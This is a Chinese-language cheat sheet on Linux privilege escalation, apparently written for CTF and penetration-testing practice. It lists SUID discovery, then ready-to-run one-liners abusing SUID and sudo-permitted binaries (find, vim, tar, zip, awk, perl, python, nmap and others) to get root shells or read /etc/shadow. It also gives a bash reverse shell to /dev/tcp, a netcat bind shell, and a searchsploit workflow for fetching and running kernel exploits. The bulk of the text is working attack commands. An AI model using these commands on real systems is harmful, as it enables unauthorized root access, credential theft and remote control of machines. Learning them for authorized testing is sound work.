SUID 提权
具有suid权限的⼆进制可执⾏⽂件有:
1 | nmap |
查看具有 SUID 权限的命令
1 | find / -perm -u=s -type f 2>/dev/null > ./1.txt |
参数解释:
-perm
:find
命令的选项,按照权限进行匹配-u=s
: 匹配具有 SUID 权限的文件-type f
:find
命令的选项,只匹配文件,不包括目录、链接等2>/dev/null
: 将错误信息重定向到/dev/null
文件,即不显示错误信息
然后根据得到的结果,寻找可利用命令进行提权
利用方法
date -f
该命令根据文件的内容,读出里面的日期信息
如果让他读取一些不含有时间内容的文件,他会以报错的形式把文档内容读取出来
因此可以利用该命令,读取本来不可读的文件内容
1 | date -f /flag |
nmap
较旧的 nmap(2.02 至 5.21)具有交互模式,允许用户执行 shell 命令
执行 nmap --interactive
进入交互模式
使用以下命令得到一个提升的 shell
1 | nmap> !sh |
也可以使用 Metasploit 模块对 Nmap 的二进制文件进行提权
1 | exploit/unix/local/setuid_nmap |
find
- 查看普通用户没有权限的文件
1 | find /usr/bin/find -exec cat /etc/shadow \; |
- 反弹 shell
1 | find /etc/passwd -exec bash -i >& /dev/tcp/ip/port 0>&1 \; |
- 结合
netcat
1 | find /etc/passwd -exec netcat -lvp 5555 -e /bin/sh \; |
然后连接到目标机会直接获得一个 root 权限的 shell
1 | netcat <target_ip> 5555 |
vim.tiny
如果 Vim 具有 SUID 权限,那么它会继承 root 用户的权限,因此可以读取系统上的所有文件
1 | vim.tiny /etc/shadow |
此外,还可以进入 vim.tiny,获得一个 root 的 shell
1 | vim.tiny |
bash
以下命令将以 root 权限打开一个 bash shell
1 | bash -p |
less
& more
1 | less /etc/passwd |
base64
1 | base64 "/flag/flag01" | base64 --decode |
diff
1 | diff --line-format=%L /dev/null /home/flag/flag01.txt |
sudo
提权
sudo
是临时提权的命令,使用这个命令可以让普通用户在执行系统命令时使用 root 的权限
普通用户具备哪些执行系统命令的权限是由 /etc/sudoers 配置文件授权规则的
/etc/sudoers 文件权限配置语法:
1 | wheel ALL=(ALL) ALL |
- 第一个词表示用户名,
%
表明是一个用户组 - 第一个 ALL 表示允许从任何终端、机器访问
sudo
- 第二个 (ALL) 表示
sudo
允许以任何用户的身份执行 - 第三个 ALL 表示
sudo
可以执行所有命令
可以使用 vim /etc/sudoers
或 visudo
编辑该文件
sudo
配置不当
可以使用 sudo -l
命令查看当前用户在使用 sudo
时的权限和相关信息
看是否存在类似下面的结果:
1 | User solr may run the following commands on ubuntu: |
上面示例说明用户 solr 可以无需输入密码即可以 root 身份运行 grc
命令
因此,便可以利用这些配置不当的命令进行提权
下面将列举一些命令的提权利用方式
更多可以利用的命令提权方法可以从 GTFOBins 网站查看
grc
1 | sudo grc --pty /bin/bash -i |
find
1 | sudo find /home -exec /bin/bash \; |
zip
1 | sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash" |
tar
1 | sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash |
nmap
低版本的 nmap 有 interactive 模式,且设置了 suid,这个时候可以进入交互模式 执行 !sh
命令即可完成提权
1 | echo "os.execute('/bin/bash')" > /tmp/shell.nse |
more
1 | sudo more /etc/hosts |
git
1 | sudo git help status |
ftp
1 | sudo ftp |
vim
1 | sudo vim -c '!bash' |
perl
1 | sudo perl -e 'exec "/bin/bash";' |
python
1 | sudo python -c 'import pty;pty.spawn("/bin/bash")' |
less
1 | sudo less /etc/hosts |
awk
1 | sudo awk 'BEGIN {system("/bin/bash")}' |
man
1 | sudo man man |
vi
1 | sudo vi |
base64
1 | sudo base64 "file_to_read" | base64 --decode |
mysql
1 | sudo mysql -e '\! find / -name flag*' |
Linux 内核提权
查看 Linux 相关信息
- 查看内核版本
1 | uname -a |

- 显示 LSB 版本所有信息
1 | lsb_release -a # 系统不一定有该命令 |
- 查看 Linux 版本信息
1 | cat /etc/issue |
- 查看 Linux 详细版本信息
1 | cat /etc/*-release |
searchsploit 利用
- 寻找内核版本漏洞
1 | searchsploit 6.6.9 |
- 拷贝漏洞利用脚本到当前文件夹
1 | searchsploit -m 40839.c |
- 利用 python 开启原创下载端口
1 | python3 -m http.server |
- 登陆靶机下载脚本,根据脚本代码不同,选择不同方式运行
- sh 脚本文件,赋予权限执行即可
- c 文件,通常是需要 gcc 编译,再给编译后的文件赋予权限,最后执行